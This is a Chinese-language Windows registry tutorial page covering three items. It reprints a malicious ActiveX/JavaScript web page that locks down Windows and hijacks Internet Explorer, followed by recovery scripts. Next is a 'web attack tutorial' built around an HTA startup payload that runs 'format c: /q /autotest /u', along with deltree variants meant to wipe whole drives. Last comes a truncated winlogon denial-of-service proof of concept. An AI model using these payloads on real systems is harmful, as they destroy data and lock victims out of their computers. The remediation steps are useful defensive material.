打印本页〗〖打印选项
Windows 注册表攻略(二、注册表修改实例:57-59)

Windows 注册表攻略(二、注册表修改实例:57-59)

 

57、分析一个网站的恶意代码

最近一段时间网页恶意代码对本地注册表的修改可以说是闹得沸沸扬扬,从改IE标题开始到改首页,甚至还发展到锁定INTERNET选项和注册表编辑器阻止用户恢复自己的IE!真是愈来愈严重了。开始改标题的时候只不过像小孩子跑到别人家的大门上用粉笔涂上“XX到此一游”,到后来就变质成了强盗要霸占整个家园。本来也许站长的原意是希望自己站点的访问量能高一些,不过很遗憾用错了方法,上过当的网民再也不会到他的站点去了。好了,废话少说,我们来看一下这究竟是怎么回事。
     其实这些都是利用了ACTIVE和JS做到的,我们来看这段危险代码。如果浏览了这个网页的话IE跟系统都会被修改得不象样,仅仅可以使用WINDOWS的基本程序。够狠的了。
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL; Shor.Save();}
//end add favorites or links function
function f(){ try { //ActiveX initialization (这里初始化ACTIVEX,为修改浏览者的注册表做准备。)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{ //set home page Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /
m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u
/autorun");(注意这里,Scanreg.exe被删除!这样就阻挠了浏览者通过恢复浏览之前的注册表来修复系统!想想这意味着什么?它既然可以不经过同意而删除机器中的文件,那么也可以做别的事情。包括:在没有通知的情况下格式化硬盘!)
    从这里开始把IE的标题,首页,搜索页等等改得一塌糊涂,亲眼见到的话你一定忍不住想问:这是天天陪着我到处闲逛的IE吗?:)
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\rundll.exe","rundll.exe user.exe,exitwindows");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
 "http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\Toolbar\\backbitmapie5","c:\\Windows\\web\\wvleft.bmp");
Shl.RegWrite ("HKCR\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\", "安全测试网");
Shl.RegWrite ("HKCU\\Software\\Classes\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\",
"安全测试网");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title", "=
★ 安全测试网★---<<测出你的系统上网极不安全,恢复后请将IE安全级别设为高>>");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title", "= ★ 安全测试网★---<<测出你的系统上网极不安全,恢复后请将IE安全级别设为高>>");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\SearchPage","http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", " http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\TypedURLs\\url1"," http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\TypedURLs\\url2"," http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Default_Page_URL"," http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Local Page","
http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page","
http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Search Page","
http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Default_Search_URL"," http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32
\\","rem C:\\WINDOWS\\sys tem\\BROWSEUI.DLL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoSetTaskBar", "1","REG_DWORD");(开始菜单中的"设置\任务栏和开始菜单"命令被禁止)
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoFind","1",
"REG_DWORD");("查找"命令被禁止)
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoFolderOptions",
"1","REG_DWORD");(禁止IE显示“工具”中“INTERNET选项”)
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoViewContextMenu",
"1","REG_DWORD");(禁止使用鼠标右键。搞什么啊,这样都禁止?:()
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoRun","1","REG_DWORD");(禁用开始菜单的"运行". )
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\Disablecmd","1","REG_DWORD");(禁止运行命令解释器)
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\NoRealMode","1","REG_DWORD");(让操作系统无法切换至DOS实模式)
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\LegalNoticeCaption", "问候");(开机即跳出对话框。像个幽灵一般如影随形。)
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\LegalNoticeText","朋友:非常感谢你访问过我们的网站<http://user.netomia.com/wjkplx/>;
经测试你的电脑存在严重的漏洞隐患,你的电脑已被设置了一些障碍,只能运行一少部份程序。
请点击桌面上的【安全测试网】快捷键上我们的网站去恢复,点击秘密特区链接,按提示做即
可。或者点击下载解锁程序。");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");(禁止IE的右键菜单功能)
Shl.RegWrite ("HKLM\\Software\\CLASSES\\.reg\\","txtfile");(禁止使用reg文件。
想要通过编辑REG文件解除锁定不行了。:(黑心的站长啊,我反正是很想PK他,不知道你怎么想?)
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\sys tem\\DisableRegistryTools","1","REG_DWORD");(禁止使用注册表程序regedit.exe)
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoSetFolders","1","REG_DWORD");(禁用“控制面板”。怎么感觉这个站长是开网吧的?呵呵)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");
(禁止IE的右键菜单功能。生怕别人看他的源码)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions","1","REG_DWORD");
(禁止Internet选项)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","1","REG_DWORD");
(禁用“另存为……”)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen","1","REG_DWORD");
(禁止“文件”菜单下面的“打开”功能 )
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode","1","REG_DWORD");
(禁止全屏模式 对IE控制面板的控制)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced","1","REG_DWORD");(禁止更改高级页设置 )
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\Control Panel\\Cache Internet","1","REG_DWORD");(禁止更改临时文件的设置)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig","1","REG_DWORD");(禁止更改自动配置的设置)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage","1","REG_DWORD");(禁止更改主页设置)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History","1","REG_DWORD");(禁止更改历史纪录设置)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\Control Panel\\Connwiz Admin Lock","1","REG_DWORD");(禁止Internet连接向导)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default","1","REG_DWORD");(禁止更改默认浏览器检查)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab","1","REG_DWORD");(禁止内容项)
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\AboutURLs\\安全测试网"," http://user.netomia.com/wjkplx/";);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\AboutURLs\\blank"," http://user.netomia.com/wjkplx/";);(IE如果有一点地方没有他网站的影子他就睡不着觉?)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab","1","REG_DWORD");(禁止安全项)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings","1","REG_DWORD");(禁止“重置Web设置”功能)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource","1","REG_DWORD");
(禁止“源文件”。美其名曰“保护知识产权”。)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Infodelivery\\Restrictions\\NoAddingSubScriptions","1","REG_DWORD");
(禁止添加脱机页计划)
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\NoFileMenu","1","REG_DWORD");(禁止“资源管理器”中的“文件”菜单)
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Settings","1","REG_DWORD");(禁止更改连接设置)
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
\\RestrictRun","1","REG_DWORD");(禁止使用任何程序!真是阴险,站长肯定是怕偶们不会用,把计算机给弄坏了所以帮忙锁起来。不过下面还是开放了几个基本程序供使用的:
Iexplore.exe,ACDSee32.exe等。看看下面的程序名就知道你能用什么程序了。)
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\Iexplore.exe","Iexplore.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\WINWORD.EXE","WINWORD.EXE");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\EXCEL.EXE","EXCEL.EXE");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\WINZIP32.EXE","WINZIP32.EXE");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\ACDSee32.exe","ACDSee32.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\photoshop.exe","photoshop.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\Notepad.exe","Notepad.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\Wordpad.exe","Wordpad.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\deltree.exe","deltree.exe");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun
\\rundll.exe","rundll.exe");
//end set home page

//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{ loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{ return; } }
//end common part

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "【安全测试网】
","http://user.netomia.com/wjkplx/";);
//end add favorites
//桌面建立快捷键
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Desktop";
if(!FSO.FolderExists(loc))
{ loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Desktop";
if(!FSO.FolderExists(loc))
{ return; } }
//end common part
//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "【安全测试网】
","http://user.netomia.com/wjkplx/";);
//桌面建立快捷键结束
(关闭IE的时候莫名其妙看见自己的桌面上多了一个自己并不想要的东西是什么感觉?) }
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
很令人讨厌的网页,站长还利用IE错误的MIME头漏洞将一个可执行文件下载到了机器的临时文件夹中,即使修复了系统也无法更改首页。但是,请不要急着从抽屉里翻出windows的CD setup先,真的像站长所说的那样只能通过上他的网站恢复吗?我的回答是:NO!来看一下解决问题的方法。
1,这个代码没有限制inf文件的使用,那我们可以利用这个方法来解除锁定。但是因为右键被禁止,所以要稍微麻烦一点了。首先建立一个批处理文件,将下面的内容拷入,然后执行这个批处理文件:
echo off
echo Windows Registry Editor Version 5.00> c:\hellopc.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]>> c:\hallopc.reg
echo "NoViewContextMenu"=dword:00000000>> c:\hellopc.reg
regedit /s c:\hellopc.reg
del c:\hellopc.reg
需要说明的是,我这篇文章中所有针对注册表的编辑都基于win2000,因为现在我的机器里没有win9X(废话),:)所以使用win9X的朋友在使用这些方法时要注意更改“Windows Registry Editor Version 5.00”为“REGEDIT4”。以下不再说明。
OK,现在右键可以用了,我们可以使用inf文件来解除。这个方法是一位叫charles0718的朋友教我的,试过很好用。先谢谢他。
新建一个文本文件,打入下列值
[version]
signature="$CHICAGO$"
[DEFAULTINSTALL]
ADDREG=EDIT.ADD.REG
DELREG=EDIT.DEL.REG
[EDIT.ADD.REG]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem
[EDIT.DEL.REG]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem
保存文件
更改扩展名为inf
右键文件选择安装,重启!现在注册表编辑器就可以使用了,然后就可以针对这个恶意代码更改了的地方逐一改回来。
2,其实用win9X的朋友批处理文件不如这样写。
echo off
echo regedit4> c:\scanreg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>> c:\scanreg.reg
echo "NoRealMode"=dword:00000000>> c:\scanreg.reg
regedit /s c:\scanreg.reg
del c:\scanreg.reg
然后就可以从安装盘里拷一个scanreg.exe来从DOS模式轻松恢复注册表了,这是最简单方便的了。
下面简单介绍一下Scanreg的用法:
  命令格式:Scanreg/<option>
  option有以下几个可选项:
  ?列出Scanreg的使用方法及相关参数的用法。
  backup备份注册表及相关的系统文件。
  restore选择备份文件进行恢复。
  Comment"<comment>"给备份文件加上特别的备注。
  fix修复注册表。
    3、还是利用批处理文件,不过懒得全写出来了。其实前面只是卖关子嘛,代码都看到了,直接把所有被更改的项目写到这个批处理文件中执行不就OK了吗?呵呵。别骂我。
    4、写一个VBS脚本来恢复注册表。举例如下:
Dim R
Set R = CreateObject("WScript.Shell")
Rem Write Regedit
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 0, "REG_BINARY"
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\sys tem\DisableRegistryTools", "00000000", "REG_DWORD"
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled", "00000000", "REG_DWORD"
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode", "00000000", "REG_DWORD"
R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "", "REG_SZ"
R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "", "REG_SZ"
R.RegWrite "HKLM\Software\Microsoft\Internet
Explorer\Main\Window Title", "", "REG_SZ"
R.RegWrite "HKCU\Software\Microsoft\Internet
Explorer\Main\Start Page", "", "REG_SZ"
以文件名“Reg.vbs”存盘,后运行该文件。重新启动计算机。
这样注册表编辑器,运行,命令解释器,DOS实模式等都可以使用了,然后恢复的办法就多了不少了,或者你也可以将所有被更改的DWORD值都加到这个VBS脚本中运行一次即可奏效,只要记住0就是允许,1就是禁止就可以了。我想解决问题的方法肯定还有很多,但是因为对注册表不够了解,所以也想不出来,希望知道的朋友可以教我。我的email是gale@root.com.cn.先谢谢了! 另外想说的是,被改了注册表才想着更改是不是太晚了点?其实这些情况都是可以避免的,只要打上微软的补丁就不会有事了。
WINDOWS 2000用户打上SP2就可以了。
http://www.microsoft.com/china/windows2000/SP2.htm
WINDOWS 9X用户
Internet Explorer 5.01 Service Pack 2.
http://www.microsoft.com/windows/ie/downloads/recommended/ie501sp2/default.asp
Internet Explorer 5.5 Service Pack 2.
http://www.microsoft.com/windows/ie/downloads/recommended/ie55sp2/default.asp
或者干脆用IE6也可以避免这种情况的出现。
http://www.microsoft.com/downloads/release.asp?ReleaseID=32558

 


58、网页攻击教学
前叙∶

这项技术是在没多久以前台湾所流行的攻击法,你知道利用漏洞的厉害在哪吗?这一项教学就是利用微软  ( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的攻击方法。
教学开始∶
    以下这段就是具有破坏性的HTML
Hacking Your Computer .
scr.Reset();
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta";
scr.Doc="
wsh.Run('start.exe /m format c:/q /autotest /u');
alert('IMPORTANT : Windows is removing unused temporary files.');";
scr.write();
(懂HTML的人应该就看得出来其中精随)
现在我大概来解释其中几个项目所写的意思
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"
这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为 hack.hta
wsh.Run('start.exe /m format c:/q /autotest /u');
    通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。
    它是一个微软没有公开的功能,键入後format的动作便会被强制执行。
    这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。 最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小化的状态。
执行其他攻击指令的方法∶
    只要修改“start.exe /m format c:/q /autotest /u”这一项便形。
start.exe /m format c:/q /autotest /u
其中的“c:”可以换做其他的硬碟。

(path)\bo2k.exe
    执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。
start.exe /m deltree /y a:\*.* c:\*.* d:\*.*
杀掉对方硬碟底下所有的档案。
start.exe /m deltree /y c:\windows\system\*.*
杀掉对方c:\windows\system\目录底下的所有档案。
後叙∶
预防遭此手段的破坏就是到微软去更新你的浏览器。

 


59、Windows NT 4.0 远程注册表拒绝服务攻击漏洞

Windows NT 4.0 远程注册表拒绝服务攻击漏洞发布日期:
受影响的系统: - Microsoft Windows NT 4.0 Workstation-
Microsoft Windows NT 4.0 Server- Microsoft Windows NT 4.0 Server, Enterprise Edition- Microsoft Windows NT 4.0 Server, Terminal Server Edition
不受影响系统: Windows 2000
描述: 在远程主机对注册表的访问请求被处理前,需要先经由远程注册表server进行认证。如果提交一个错误格式的请求,会让远程注册表server错误得进行解释,并发生错误,不能正常工作。
在Windows Nt 4.0中,由于注册表server包含在winlogon.exe这一系统进程里,这个进程出错将导致整个系统不可用。注意,只有一个已经通过认证的用户才能发起这样的请求,匿名(空会话)连接不能导致这种拒绝服务攻击。受到攻击的系统必须重新启动才能正常工作。<* 来源: Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*>
测试程序: 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! /** crash_winlogon.c** by Renaud Deraison - deraison@cvs.nessus.org** This code is released under the GNU General Public License.* (thanks for respecting this license)** In case you are wondering, here is the motto I applied for this code :** "Structures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x,y) memset(x, 0, y)#else#include #include #include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, len;char * ret =
malloc(40);bzero(ret, 40);len =
strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] / 16) + 'A'; omod = (orig[I] % 16) + 'A'; ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod; }}return(ret);}char *
 netbios_redirector(){int I;char * ret =
malloc(31);bzero(ret, 31);for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char *
data){int len = strlen(data);int I;char * ret =
malloc(110);int l = 0;bzero(ret,110);for(I=0;I




文章作者:未知